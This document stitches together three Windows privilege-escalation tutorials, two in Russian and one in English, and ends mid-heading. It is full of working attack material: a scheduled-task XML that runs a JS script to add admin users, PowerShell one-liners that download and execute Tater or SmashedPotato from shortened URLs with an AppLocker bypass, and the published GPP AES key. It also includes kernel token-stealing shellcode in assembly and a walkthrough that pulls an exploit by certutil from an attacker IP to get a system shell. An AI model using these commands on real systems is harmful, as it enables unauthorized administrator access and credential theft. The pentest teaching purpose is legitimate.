Несколько трюков для эскалации привилегий с юзера до админа системы под Windows
https://t.me/w2hackIntro
Автор Антон Жуков (aka Ant), отдельное спасибо журналу ][акер.
Введение
Одна из наиболее частых рекомендаций по безопасности — это запускать приложения и сервисы под урезанной учеткой. Полностью проблемы безопасности это не решает, но жизнь атакующему осложнить может. Таким образом, что бы ты ни ломал/пентестил: домен Active Directory, машину, на которой хостится сайт, — перед тобой почти обязательно встанет задача поднятия своих привилегий. От ее решения будет зависеть, сможешь ли ты продвинуться дальше или нет.
Сегодня мы постараемся рассмотреть всё (ну или почти всё), что касается продвижения вверх в Windows-системах.
1. Сохраненные credentials
Пожалуй, самый легкий способ поднять привилегии, к которому стоит прибегнуть в первую очередь, — это поискать в системе сохраненные учетные данные админского аккаунта. Самое простое — это файлы, оставшиеся после автоматической установки (unattended installation). Общеизвестно, что человек — существо ленивое, поэтому системные администраторы будут пытаться автоматизировать установку софта, и тогда в системе можно обнаружить файлы:
C:\unattend.xml C:\Windows\Panther\Unattend.xml C:\Windows\Panther\Unattend\Unattend.xml C:\Windows\system32\sysprep.inf C:\Windows\system32\sysprep\sysprep.xml
В них в открытом виде или закодированные в Base64 будут лежать пароли администратора. Кстати, в Metasploit есть модуль, позволяющий автоматизировать поиск, — post/windows/gather/enum_unattend
.
Если на машине установлен IIS, то нелишним будет проверить файлы
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config C:\inetpub\wwwroot\web.config
в которых также может присутствовать пароль администратора в plaintext.
2. Group Policy Preferences
Еще есть вариант с настройками групповой политики безопасности. Файл Groups.xml
, содержащий пароль, обычно закеширован локально, или он легко может быть получен с контроллера домена, так как каждый пользователь домена имеет к нему доступ на чтение. Пароль хранится в зашифрованном виде, но Microsoft опубликовала ключ, поэтому он может быть легко расшифрован. В случае локальной машины проверяем наличие файла по следующему пути:
C:\ProgramData\Microsoft\Group Policy\History\*\Machine\Preferences\Groups\Groups.xml
Для контроллера домена:
\\????\SYSVOL\\Policies\????\MACHINE\Preferences\Groups\Groups.xml
В последнем случае вместо ????
указываем имя домена. Для тех, кому интересно, 32-битный AES-ключ выглядит следующим образом:
4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8 f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b
Но чтобы самостоятельно не заморачиваться с расшифровкой пароля, можно воспользоваться модулем Metasploit post/windows/gather/credentials/gpp
. Или же PowerSploit:
Get-CachedGPPPassword // Для локальных файлов групповой политики Get-GPPPassword // Для файлов групповой политики, сохраненных на котроллере домена
Подробнее о том, как вытаскивать пароли из групповой политики, можно посмотреть тут и тут.
3. Taskschd.msc
Во времена Windows XP был интересный прием поднять привилегии до системных. Проворачивался он просто:
at 14:50 /interactive command
Правда, для запуска утилиты at
требовались административные привилегии, поэтому можно было повыситься только от администратора до NT-AUTHORITY\SYSTEM
. Но оказывается, что времена планировщика задач еще далеко не прошли. Если выполнить в консоли команду net user
, то можно увидеть список локальных пользователей. С помощью данной команды можно также добавить локального пользователя (если есть соответствующие привилегии):
net user USERNAME PASSWORD /add
Однако если выполнить команду от имени обычного пользователя, то получим в ответ системную ошибку 5, или, проще говоря, «доступ запрещен». В такой ситуации нам поможет возможность импортировать таски в планировщик задач. Каждую задачу можно описать в виде XML-файла (подробнее о его формате можно почитать на сайте мелкомягких). Готовый файл будет выглядеть следующим образом:
<?xml version="1.0" encoding="UTF-16"?> <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"> <RegistrationInfo> <Date>1337-01-01T13:37:07.9601296</Date> <Author>NT AUTHORITY\SYSTEM</Author> </RegistrationInfo> <Triggers /> <Principals> <Principal id="Author"> <UserId>PCNAME\USERNAME</UserId> <LogonType>S4U</LogonType> <RunLevel>HighestAvailable</RunLevel> </Principal> </Principals> <Settings> <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy> <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate> <StartWhenAvailable>true</StartWhenAvailable> <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable> <IdleSettings> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartOnDemand>true</AllowStartOnDemand> <Enabled>true</Enabled> <Hidden>false</Hidden> <RunOnlyIfIdle>false</RunOnlyIfIdle> <WakeToRun>false</WakeToRun> <ExecutionTimeLimit>P3D</ExecutionTimeLimit> <Priority>7</Priority> <RestartOnFailure> <Interval>PT1M</Interval> <Count>3</Count> </RestartOnFailure> </Settings> <Actions Context="Author"> <Exec> <Command>%USERPROFILE%\Desktop\EXPLOIT.JS</Command> </Exec> </Actions> </Task>
Подробнее о каждом из параметров можно будет почитать тут. Для нас наибольший интерес представляют <RegistrationInfo><Author>
— тот, от имени кого будет зарегистрировано задание, а также <Principals><Principal><UserId>
— от имени кого оно будет запущено. Здесь мы указываем нашего непривилегированного пользователя. Ну и самое интересное — <Actions><Exec>
, который определяет, что будет запущено. В данном случае это JS-скрипт EXPLOIT.JS
, лежащий на рабочем столе пользователя. Содержание этого скрипта ограничивается только твоей фантазией. Самый банальный пример — добавление нового пользователя:
suidshell = WScript.CreateObject("WScript.Shell"); suidshell.run("cmd.exe /c net user TEST TESTPWD /add", 0);
Теперь запускаем taskschd.msc
, выбираем «Импортировать задание…», выбираем наш файл и нажимаем «Запустить». Если после этого выполнить в консоли net user
, то можно увидеть, что добавился новый пользователь TEST. Как вариант, можно модифицировать JS-скрипт и не только создавать нового пользователя, но и сразу же добавлять его в группу администраторов (или же никого не создавать, а добавлять в админы текущего пользователя). Команда для этого выглядит следующим образом:
net localgroup administrators [username] /add
4. BeRoot
Большинство способов поднятия привилегий связаны с ошибками в конфигурации установленного ПО, будь то путь к исполняемому файлу сервиса, не обрамленный кавычками и содержащий пробел (такая ситуация довольно интересно обрабатывается виндой), или же неверно выставленные права на директорию с приложением. Человек — существо ленивое и каждый раз все это проверять вручную не захочет. Поэтому рано или поздно должен был появиться инструмент, позволяющий автоматизировать эту рутину.
Итак, что же BeRoot умеет находить? Для начала те самые пути с пробелами, не обрамленные кавычками: C:\Program Files\Some Test\binary.exe
. Если ты прошел по ссылке и освежил в памяти теорию, то можешь знать, что в данном случае винда будет пытаться найти и запустить файл в следующем порядке:
C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\binary.exe
Соответственно, если binary.exe
выполняется с повышенными привилегиями и у тебя будет возможность разместить на диске C
файл Program.exe
, то вместо исходного бинарника винда выполнит твой, что поднимет твои привилегии в системе.
Далее, проверяются интересные директории, куда мы можем что-либо записать. Эти интересные директории составляются из путей до исполняемых файлов сервисов, запланированных заданий, ключей автозагрузки (HKLM).
Следующим этапом проверяется переменная окружения %PATH%
, не содержит ли она директорий, доступных для записи. Если так, то на ОС от Vista до Windows Server 2012 можно будет выполнить DLL Hijacking (подсмотреть, как это сделать, можно на официальной странице проекта).
Помимо только поиска уязвимых мест, BeRoot предоставляет возможность проэксплуатировать уязвимость MS16-075 (если она есть). Стандартный трюк с добавлением своего админа будет выглядеть следующим образом:
beRoot.exe -c "net user Xakep Megapasswd /add" beRoot.exe -c "net localgroup Administrators Xakep /add"
Что бы еще проверить? Ключ реестра AlwaysInstallElevated
, позволяющий обычным пользователям запускать на установку MSI-файлы с повышенными привилегиями. Если эта опция включена, создавай свой MSI-пакет и получай полный контроль.
Также проверяются файлы, оставшиеся от Unattended Install, которые могут хранить данные админской учетки. Ну и на всякий случай проверяются такие экзотические вещи, как доступность сервиса для модификации, возможность создания нового сервиса, возможность создания ключа автозагрузки в HKLM, а также возможность записи в директорию, где хранятся запланированные задания.
5. Sherlock
В любой операционной системе присутствуют уязвимости, которые периодически находят, а потом патчат.
Поэтому обязательно стоит проверить, уязвима ли исследуемая система к одному из доступных в паблике сплоитов. Компилировать и запускать все по очереди? Не наш метод, мы ведь знаем (или можем узнать), какой патч закрывает ту или иную уязвимость, просто проверим наличие его установки. И если security-апдейт не установлен, то нам повезло. Такой проверкой как раз и занимается PowerShell-скрипт Sherlock. На текущий момент он проверяет наличие установленных патчей для следующих уязвимостей:
- MS10-015 : User Mode to Ring (KiTrap0D)
- MS10-092 : Task Scheduler
- MS13-053 : NTUserMessageCall Win32k Kernel Pool Overflow
- MS13-081 : TrackPopupMenuEx Win32k NULL Page
- MS14-058 : TrackPopupMenu Win32k Null Pointer Dereference
- MS15-051 : ClientCopyImage Win32k
- MS15-078 : Font Driver Buffer Overflow
- MS16-016 : ‘mrxdav.sys’ WebDAV
- MS16-032 : Secondary Logon Handle
Если что-то из этого не пропатчено, можешь смело качать сплоит, компилировать и ждать успеха. Работоспособность скрипта протестирована на следующих системах: Windows 7 SP1 32-bit, Windows 7 SP1 64-bit, Windows 8 64-bit, Windows 10 64-bit. Так, на тестовой машине с Windows 7 x64 на борту «Шерлок» выдал следующую сводку:
Как оказалось, машина неустойчива к уязвимости Secondary Logon Handle (ну и еще нескольким в придачу), о которой читай далее. Ну и стоит отметить, что непосредственно в винде для проверки достаточно запустить PowerShell и выполнить import-module .\Sherlock.ps1
.
В случае если у тебя meterpreter-сессия до Win-машины, то подгружаем PowerShell-расширение, импортируем «Шерлока» и вызываем процедуру проверки:
meterpreter > load powershell meterpreter > powershell_import Sherlock.ps1 meterpreter > powershell_execute "find-allvulns"
6. Windows-privesc-check
Инструмент, разработанный командой pentestmonkey. Делает кучу «грязной работы» — старается найти типичные ошибки конфигурации, которые могут позволить обычным пользователям повысить свои привилегии. Изначально написан на Python, но поставляется также в виде отдельного исполняемого файла (собранного с помощью pyinstaller), для того чтобы его можно было просто запустить на удаленной машине, а не тащить на нее предварительно питон и все остальные зависимости.
Существует два варианта использования. Первый — когда у нас есть аккаунт с правами администратора и мы хотим прокачать их до системных. Второй — когда у нас аккаунт с ограниченными привилегиями и мы хотим найти способ расширить их. Для того чтобы попросить программу найти все возможные ошибки конфигурации, надо ввести:
windows-privesc-check2.exe --audit -a -o report
В результате получим подробный отчет следующего вида:
При этом утилита проверит практически все возможные варианты: переменные окружения, сервисы с некорректными правами доступа, запланированные задания, доступные для записи ключи реестра и прочее. Если надо ограничить поиск только какой-то одной категорией (например, поиск уязвимых сервисов), то можно использовать соответствующий ключ. Список всех доступных опций можно посмотреть с помощью ключа --help
, например для сервисов это будет -S
.
7. Hot Potato
Известен также как просто Potato. Очень интересный инструмент. Неординарность этого инструмента заключается в том, что для достижения цели он использует связку из трех атак: NBNS-спуфинг → WPAD-прокси → HTTP2SMB-релей. Спуфинг осуществляется для того, чтобы перенаправить жертву (то есть локальный компьютер) на подконтрольный атакующему WPAD-прокси-сервер. В нашем случае он также будет располагаться на локальной машине по адресу 127.0.0.1:80
. Фишка в том, что IE-шка по дефолту будет автоматически пытаться определить сетевые настройки, пробуя обратиться по адресу http://wpad/wpad.dat
. Что наиболее интересно для нас — так же поступают и некоторые службы Windows, например Windows Update. Ну а далее в дело вступает HTTP2SMB-релей. Прокси будет перенаправлять все запросы на некий уникальный URL, попутно запрашивая NTLM-аутентификацию. Полученные учетные данные будут передаваться на локальный дефолтный SMB-листенер для создания нового системного сервиса, который и будет выполнять наши команды. Таким образом, при получении запроса от привилегированного сервиса (Windows Update) команды будут выполняться с уровнем NT AUTORITY\SYSTEM
. Это что касается принципов работы. Теперь о практике. А практика будет разделена на две части: на «семерке» все достаточно просто, все, что старше, — уже не так легко. Итак, в Windows 7 нам поможет следующая команда, запущенная от обычного непривилегированного пользователя:
Potato.exe -ip -cmd [command] -disable_exhaust true
В качестве значения параметра cmd может быть все что угодно, например команда вида
C:\\Windows\\System32\\cmd.exe /K net localgroup administrators USERNAME /add
Кстати, если в Сети есть реальная DNS-запись для WPAD, то надо будет указать опцию disable_exhaust false
.
В случае с более свежими версиями винды ситуация несколько усложняется — в них ни Defender, ни Update-сервисы уже не будут обращаться к WPAD-серверу. Однако там есть такая штука, как автоматическое обновление отозванных сертификатов, — свежие версии Windows по умолчанию раз в день скачивают списки доверенных сертификатов. Она как раз использует WPAD. Команда будет выглядеть следующим образом:
Potato.exe -ip -cmd [command] -disable_exhaust true -disable_defender true
Так как скачивание происходит раз в день, то, возможно, придется подождать какое-то время (максимум 24 часа). Поэтому способ скорее для тех, кто не торопится.
8. Smashed Potato
Smashed Potato — это модифицированная версия Hot Potato, рассмотренного выше. Итак, каковы же основные изменения?
- Все .NET-сборки смержены в одну сборку, которая преобразована в массив байтов (
Byte[]
) — да-да, Potato писан на шарпе. - Запуск сборки Potato из памяти.
- Включен метод обхода AppLocker с помощью InstallUtil.
- Добавлена некоторая автоматизация.
Инструмент поставляется с открытым исходным кодом, поэтому, чтобы собрать его, надо будет выполнить следующее. Под 32-разрядные системы:
cd \Windows\Microsoft.NET\Framework\v4.0.30319 csc.exe /out:"C:\Utils\SmashedPotatoX86.exe" /platform:x86 "C:\Utils\SmashedPotato.cs"
Для 64-разрядных:
cd \Windows\Microsoft.NET\Framework64\v4.0.30319 csc.exe /out:"C:\Utils\SmashedPotatoX64.exe" /platform:x64 "C:\Utils\SmashedPotato.cs"
Далее, для того чтобы запустить инструмент с обходом AppLoсker, нужно выполнить следующее:
cd \Windows\Microsoft.NET\Framework\v4.0.30319 InstallUtil.exe /logfile= /LogToConsole=false /U C:\Utils\SmashedPotatoX86.exe
Это для 32-разрядных, как будет выглядеть для x64, я думаю, ты уже догадался. Кстати, вот однострочный PowerShell-скрипт, который выполнит все перечисленные действия для x64-машины:
powershell -ExecutionPolicy Bypass -noLogo -Command (new-object System.Net.WebClient).DownloadFile('http://is.gd/y6cfKV','%temp%\SmashedPotato.cs'); && cd c:\Windows\Microsoft.NET\Framework64\v4.* && csc.exe /out:"%temp%\SmashedPotatoX64.exe" /platform:x64 "%temp%\SmashedPotato.cs" && InstallUtil.exe /logfile= /LogToConsole=false /U %temp%\SmashedPotatoX64.exe
9. Tater
Ну а что делать, если на машине не установлен .NET Framework? Воспользоваться PowerShell-версией Hot Potato — Tater, которая сразу загружается в память и не оставляет следов на диске! Запустить утилиту можно в одну строку:
powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/fVC1Yd'); Invoke-Tater -Trigger 1 -Command ""net user User1 Password1 /add && net localgroup administrators User1 /add"""
После чего в системе появится пользователь User1
с паролем Password1
, входящий в группу администраторов. Но надо отметить, что для Windows 10 следует использовать ключ -Trigger 2
.
Компиляция сплоитов в Kali
Бесспорно, основной операционной системой для проведения пентеста/взлома служит Linux, под него реализована куча инструментов, да и вообще мало кто ломает из-под винды. И с ним все прекрасно по дефолту, пока не надо скомпилировать сплоит под винду (в нашем случае для поднятия привилегий). Исправляется такой недостаток установкой Mingw-w64:
apt-get update apt-get install mingw-w64
Дальше все просто, качаем сплоит и компилируем:
wget ‐‐output-document= 40564.c https://www.exploit-db.com/download/40564 i686-w64-mingw32-gcc 40564.c –o exploit.exe –lws2_3
10. EasySystem
Если локальный админ у тебя уже есть и вопрос заключается только в том, как дотянуться до системы, то можно взглянуть в сторону небольшой утилитки EasySystem. Как пишет сам автор утилиты, это никакой не эксплоит, а «старый и грязный» прием с имперсонацией именованных каналов. В некоторых ситуациях такой инструмент может пригодиться. На технических деталях мы подробно останавливаться не будем, если тебе интересно, то можешь почитать подробнее про данную технику тут и тут.
11. Secondary Logon Handle
Еще один интересный трюк связан с использованием службы «Вторичный вход в систему». Данная служба позволяет запускать программы, консоли Microsoft Management, элементы контрольной панели от имени администратора, даже если текущий пользователь принадлежит всего лишь к группе Users или Power Users. Суть в том, что данный сервис не очищает хендлы при создании новых процессов. Что для нас важно — данной уязвимости подвержены почти все версии Windows (x32 и x64): начиная с Vista и заканчивая Windows 2012 Server. Но есть и ограничения: для успешного повышения привилегий в системе должен быть установлен PowerShell 2.0 или выше, а также присутствовать два и более CPU-ядер. В Metasploit Framework есть специальный модуль exploit/windows/local/ms16_032_secondary_logon_handle_privesc
. Его использование подразумевает, что у нас уже есть meterpreter-сессия, которую мы и должны указать в параметрах: set SESSION 1
. Ну и в случае успешной эксплуатации у нас появится еще одна сессия, с повышенными привилегиями.
Для этой же уязвимости есть и PowerShell-скрипт, запускающий командную оболочку с правами системы. А также скомпилированный бинарник, выполняющий то же самое.
Кстати говоря, Microsoft выпустила патч, поэтому прежде, чем пытаться поднять привилегии, проверь, не установлен ли он:
C:\Users\pentestlab>wmic qfe list | find "3139914"
Заключение
Как всегда, универсального рецепта тут не существует, зато теперь ты знаешь различные варианты, которые можешь применять в зависимости от ситуации. Так что дерзай и до новых встреч!
Время на прочтение6 мин
Количество просмотров13K
Для будущих студентов курса «Пентест. Практика тестирования на проникновение» подготовили авторскую статью от нашего эксперта — Александра Колесникова.
Также приглашаем записаться на открытый вебинар по теме «Windows ad: сбор информации, эскалация привилегий. Эксплойты и уязвимости последних 5 лет.»
Тема получения безграничного доступа к системе очень интересна в контексте тестирования на проникновение. Получить доступ к системе и запустить команду — сегодня это только половина победы. Вторая половина достигается только в тот момент, когда удается обойти подсистемы песочниц и ограничений, которые есть в операционной системе.
Эта статья расскажет о некоторых особенностях эксплойтов для повышения привилегий в операционной системе Windows.
Privileges in Windows
Для понимания, как работает эскалаций привилегий, необходимо разобраться с разграничением доступа в операционной системе Windows. Описание системы разграничения доступа можно найти на официальном сайте. Согласно документации, разграничение доступа в ОС Windows строится на следующих понятиях:
-
Пользователи
-
Группы
У каждого из перечисленных объектов есть свой индивидуальный идентификатор SID. Вообще, этот идентификатор используется для обозначения любого объекта, с которым работает операционная система, и для него требуется контроль доступа, но нас интересует в первую очередь использование этого идентификатора в контексте пользователей, групп и их прав. Идентификатор используется для того, чтобы создать для пользователя токен доступа. Данный токен содержит информацию о том, какие права имеет пользователь и группы, в которые он входит. Токен будет использоваться для подтверждения или запрета действий над объектами операционной системы, называемыми “Securable Objects”. Токены доступа бывают:
-
Primary token — токен, которым наделяет пользователь процесс, когда запускает приложение.
-
Impersonation token — токен, который может работать от имени любого пользователя операционной системы. Также может применяться для клиент-серверного взаимодействия или для запуска потока процесса с другими привилегиями.
Отсюда становится ясно, что основная цель любой эскалации привилегий — это получение токена доступа, который создается привилегированными пользователями. В общем случае, в ОС Windows это стандартные пользователи, которые называются: “Administrator” и “System”. Именно их токены открывают двери к любой информации, которая есть в операционной системе.
Из официальной документации токен состоит из отдельных объектов:
Структура достаточно сложная и просто так скопировать или модифицировать ее не получится из-за того, что токен хранится в защищенном от модификации месте (как сказано в документации). Выясним, где она находится. Для этого запустим операционную систему Windows в отладочном режиме и исследуем все структуры, которые используются для работы процесса. Если обратиться снова к официальной документации, то начинать стоит со структуры EPROCESS.
Получается, что информация о токене процесса хранится в ядре и поэтому в документации это помечено как область, которую нельзя изменить. Теоретически это действительно так: обычные приложения, которые работают в 3-м кольце, не могут модифицировать то, что хранится в 0-м. Но если модифицировать из ядра структуру внутри ядра, то здесь нет никаких ограничений и противоречий. Обратимся к отладчику:
Жирным цветом выделен адрес структуры EPROCESS, чтобы изучить её более подробно вызовем команду отладчика:
Похоже, что и искать долго не придется, токен находится буквально сразу. В 64-битных операционных системах ссылка на него находится по смещению 0x208. Чтобы ее прочитать нужно маскировать адрес:
Это адрес, который необходимо маскировать полностью, кроме последнего байта:
Над адресом токена нужно вызвать одноименную команду и мы можем убедиться, что действительно, как указано в документации, токен содержит информацию, которая была заявлена:
Из рисунка видно, что все привилегии, которые содержит токен, располагаются в виде битовой маски и имеют названия, которые начинаются с префикса “Se”. Именно эти поля нам и нужно модифицировать, чтобы операционная система позволяла процессу читать что угодно в операционной системе. Определившись с целью, время поговорить об атаках на набор привилегий, уязвимостях и экспортах к ним.
LPE или что делать с токеном
Изменение привилегий в токене может быть весьма тривиальной задачей несмотря на то, что эти самые привилегии очень сложно структурированы. Основной атакой, которую применяют для эскалации привилегий — перезапись ссылки на токен, которая содержится в структуре EPROCESS. Иными словами токен не изменяется, меняется адрес, где лежит токен. Обычно этот адрес выбирается из системного процесса, который постоянно может присутствовать в операционной системе. Результатом такой операции становится процесс или отдельный поток, который может делать в ОС всё, что угодно. Ниже приведем пример кода, который позволяет произвести кражу токена:
[BITS 64]
start:
mov rdx, [gs:188h] ;get _ETHREAD указатель из KPCR
mov r8, [rdx+70h] ;_EPROCESS
mov r9, [r8+188h] ;ActiveProcessLinks начало списка
mov rcx, [r9] ;найти первый процесс в списке
find_system_proc:
mov rdx, [rcx-8] ;смещение от ActiveProcessLinks до UniqueProcessId
cmp rdx, 4 ;System процесс
jz found_it
mov rcx, [rcx] ;переходим по _LIST_ENTRY Flink указателю
cmp rcx, r9
jnz find_system_proc
found_it:
mov rax, [rcx+80h] ;смещение ActiveProcessLinks до токена
and al, 0f0h ;очищаем 4 бита _EX_FAST_REF структуры
mov [r8+208h], rax ;заменить токен текущего процесса системным
ret
Приведенный выше код позволяет скопировать токен для текущего процесса из системного процесса с идентификатором 4. Стоит отметить, что код должен быть запущен в контексте ядра операционной системы. Это означает, что он либо должен быть выполнен драйвером, либо шелкодом, который будет загружаться в память через уязвимость операционной системы.
Уязвимости и эксплойты
Операционная система Windows, как и любая другая сложная система, насчитывает миллионы строк кода. И, как в любом большом проекте, его размер не позволяет исключать ошибки и недочеты. На картинке ниже представлена статистика найденных в ОС уязвимостей последних 5 лет. В нее включены уязвимости для повышения привилегий:
Данные об уязвимостях взяты отсюда. Статистика показывает, что уязвимостей достаточно, чтобы можно было найти себе необходимую для повышения привилегий. Для исследования будем использовать готовые эксплойты. Попробуем восстановить последовательность действий, которые проводятся для достижения цели — эскалации привилегий. Список уязвимостей будет следующим:
-
CVE-2015-2546
-
CVE-2016-3309
-
CVE-2017-0101
-
CVE-2018-8120
-
CVE-2019-1458
-
CVE-2020-0796
CVE-2015-2546
Уязвимость в Win32k модуле операционной системы, повреждение памяти. Фрагмент эксплойта, который отвечает за изменение токена процесса:
Кажется, это тот самый код, который был представлен выше. В нем видоизменен подход к поиску токена, но основная идея та же — получить ссылку на токен из процесса с PID=4(System.exe).
CVE-2016-3309
Уязвимость в Win32k, снова проблема с повреждением памяти, взглянем на кусок кода, который используется для замены токена:
В этом случае автор использовал язык программирования C, так же была изменена часть поиска адреса токена, но снова методика замены токена — перезапись адреса из системного процесса.
CVE-017-0101
Уязвимость в user32 GDI объектах и снова повреждение памяти. Код замены токена:
Код скопирован из эксплойта 2016 года, похоже, что на этот период примитивы для проведения эскалаций привилегий еще пока что не митигировались в Windows.
CVE-2018-8120
Уязвимость в Win32k компоненте, в этот раз неверно обрабатывается nullpointer, код для замены токена:
Автор эксплойтов явно не спешит использовать что-то другое или хотя бы новое. Снова код, который ищет System.exe
и использует его токен.
CVE-2019-1458
Уязвимость в Win32k, повреждение памяти, код замены токена:
Вот и первые изменения, автор больше не мог использовать код, который его выручал на протяжении 3х лет. Теперь токен заменяется через примитивы, которые использовались для эксплуатации уязвимостей в Windows 10 — метод Bitmap. По механике он делает тоже самое, но достигается это за счет использования объектов подсистемы Win32k.
CVE-2020-0796
Уязвимость в драйвере, который обрабатывает SMBv3 запросы. Проблема таилась в переполнении целочисленного типа, который отвечал за количество выделяемой памяти в ядре. Код замены токена:
Случай с этой уязвимостью — особенный. В первую очередь потому, что замена и перезапись токена осуществляется за 1 проход при получении неверно сформатированного запроса по SMBv3, поэтому в исходнике не происходит никаких дополнительных вычислений и действий по отношению к токену System.exe
и процесса пользователя.
Вместо заключения
При тестировании на проникновение часто возникает необходимость использовать тот или иной публичный эксплойт на эскалацию привилегий. При этом не всегда можно найти подробное описание эксплойта и привести его в работоспособное состояние. Надеюсь, эта статья помогла вам увидеть шаблоны, которые применяются для написания эксплойтов, и теперь разбираться в них станет чуточку легче. К тому же, как показывает описание выше, способов на повышение привилегий не так много, а именно один — изменение ссылки на токен процесса. Все остальное это просто модификации способа как ссылку можно перезаписать.
Узнать подробнее о курсе «Пентест. Практика тестирования на проникновение».
Записаться на открытый вебинар по теме «Windows ad: сбор информации, эскалация привилегий. Эксплойты и уязвимости последних 5 лет.»
If you want to use Windows privilege escalation techniques to help elevate your privileges, you’ve come to the right place.
Our thorough guide will show you all things Windows privilege escalation. This guide will show you how to use manual enumeration methods to detect potential privilege escalation paths. We will also show you some automated tools to help in your search.
Next, we will walk you through different types of privilege escalation, such as kernel exploits, token impersonations, saved credentials, scheduled tasks, and more.
After reading our guide, you will be well on your way to understanding how to leverage your privileges on Windows.
Table Of Contents
- Understanding Privilege Escalation
- Detection
- Kernel Exploits
- Windows Subsystem for Linux
- Token Impersonation
- Saved Credentials
- Scheduled Tasks
- Weak Service Permissions
- Other Methods
- Conclusion
- Frequently Asked Questions
Understanding Privilege Escalation
Privilege escalation in the Windows operating system occurs when users obtain access to more system resources than their privileges permit. It entails switching from a lower-level user to a higher-level one, like the administrator or the «NT AUTHORITY/SYSTEM” account. Misconfiguration, or a weak point in the system, is how escalation is possible.
The difference between an administrator and a system account comes down to how much control they have over the operating system and processes.
An administrator can change security settings, install software and hardware, access all files on the computer, and make changes to other user accounts.
A system account is a built-in Windows account with the highest levels of permissions. The operating system uses this account to run system services, processes, and tasks, even though it does not correspond to a physical user. It has full access to the file system and can perform system-level changes.
Detection
Now that you understand the different user levels in a Windows environment, let’s look at ways to enumerate the operating system to help detect privilege escalation vectors.
Manual
These following commands can be run from the command prompt or PowerShell.
System Enumeration
Enumerating the operating system, including its version and patch level, can help you find if any potential kernel exploits are available for the Windows machine.
systeminfo
The command systeminfo gives you a view of the Windows operating system you’re dealing with. Everything from OS name, version, and build type to processors, BIOS version, and more.
wmic qfe
wmic qfe gives you an overview of what updates have been installed in Windows, giving you a view of the system’s patch history and enabling you to identify any missing patches or updates that could be exploited for privilege escalation.
User Enumeration
Doing user enumeration can give you a good overview of your current user, which privileges you have, and which groups you are a part of. This can be beneficial in locating privilege escalation paths that will allow you to abuse privileges or exploit misconfigurations.
whoami
The whoami command informs you about what user you are currently running as. You can also use this with other switches, such as /priv
and /groups
, to gather more information on the privileges granted to your user and what security groups you are a member of.
net user
The net user command will print out the users on the system.
You can also use the net user username to get a good overview of a specific user. This will show you the user’s name, password information, and group membership, along with the account’s various settings and properties.
net localgroup
The net localgroup command will display all available groups on the system. This can be useful for understanding the different access levels available on a system.
You can also use this command with a group name to get an overview of the group’s information and which users belong to it.
You can manually enumerate Windows in many more ways, which we won’t be going into, but they include network enumeration, AV enumeration, and service and process enumeration.
Check out our “Windows Command Line Cheat Sheet: All You Need in One Place” article for a deep dive into the Windows command line.
Automated Tools
Automated tools can be a great help when looking for privilege escalation paths, as they can quickly and efficiently scan for known vulnerabilities, misconfigurations, and weak security practices.
WinPEAS
WinPEAS, also known as the “Windows Privilege Escalation Awesome Scripts,” is a popular, well-known, and simply excellent open-source tool to help find potential paths to privilege escalation in a Windows system.
It uses a color-coded system that shows you which areas to look at first. WinPEAS can identify several common security misconfigurations, such as weak folder permissions, weak registry permissions, misconfigured services, scheduled tasks, and more.
PowerUp
PowerUp is a PowerShell script that looks for common privilege escalations on the target system. You can run it with the Invoke-AllChecks parameter, which executes all checks. You can also use it to do specific checks, like with the Get-UnquotedService parameter, which only looks for possible unquoted service path vulnerabilities. You may need to bypass the execution policy on the target system to run PowerUp.
Seatbelt
Seatbelt is a C# tool, part of the GhostPack suite of tools, that will perform a series of checks, gathering system and user data rather than looking for privilege escalation vectors. It can be very useful for identifying potential paths for escalating privileges.
SharpUp
SharpUp is another tool from the GhostPack collection that acts as a C# port for multiple PowerUp functions. The majority of checks are included. It is a flexible tool that enables you to perform individual vulnerability checks or a full audit that executes every check.
Windows Exploit Suggester
Windows Exploit Suggester is a tool that can locate privilege escalation paths by examining the patch levels of a Windows system. It compares the system’s patch levels against the Microsoft vulnerability database to detect potential missing patches. By identifying these missing patches, the tool can provide a list of potential vulnerabilities to exploit for privilege escalation.
You can also see a newer version of the tool called Windows Exploit Suggester — Next Generation (WES-NG).
Kernel Exploits
Kernel exploits are vulnerabilities found in the Windows OS that allow attackers to escalate privileges. These exploits target flaws in the operating system’s kernel.
An attacker may gain unauthorized access to system-level privileges by exploiting these vulnerabilities. This can lead to a complete takeover, allowing the attacker to execute arbitrary code, modify system data, install software, or perform other actions.
Let’s look at how to take advantage of a kernel exploit and go from a low-level user to system. We will be using the “Hack The Box: Devel” machine.
Once you have established a reverse shell via Netcat, you can run the systeminfo
command.
Copy the contents of the output and save it to a file in the same folder as the Windows Exploit Suggester on your local machine. We saved ours as systeminfo.txt.
You’ll need to update the Windows Exploit Suggester database before running the script. See the readme for more information.
Run the Windows Exploit Suggester script with the system information and database file.
You’ll see a list of potential exploits. The one we are interested in is MS10-059, also called Chimichurri. See this article if you want to read more about this exploit. This exploit will allow you to spawn a shell as the system account.
Head to this GitHub page and download the executable to your attacking machine.
Always ensure you understand what you are downloading and what the script or exploit is doing. Using scripts you don’t understand can have severe consequences, especially if you are using them in a real-world environment.
Once downloaded, start a Python server in Kali in the same folder as the downloaded exploit. Use the following command:
python3 -m http.server
Back on the Windows machine, move into the temp folder, and download the exploit using certutil.
certutil -urlcache -f http://10.10.14.10:8000/MS10-059.exe exploit.exe
The temp folder is a good place to download scripts, tools, and exploits, as it usually has the permissions needed to write and execute.
Next, start a Netcat listener on your attacking machine. On Windows, run the exploit with the IP of your machine and the port you just used with Netcat.
exploit.exe 10.10.14.10 5555
Back on our machine, we will have an elevated shell.
As you can see, finding outdated or unpatched systems can lead you to privilege escalation via a kernel exploit. Be cautious with kernel exploits, as they can sometimes cause instability in the target systems. Research their reliability and make sure someone is available to restart the machine if needed.
Windows Subsystem for Linux
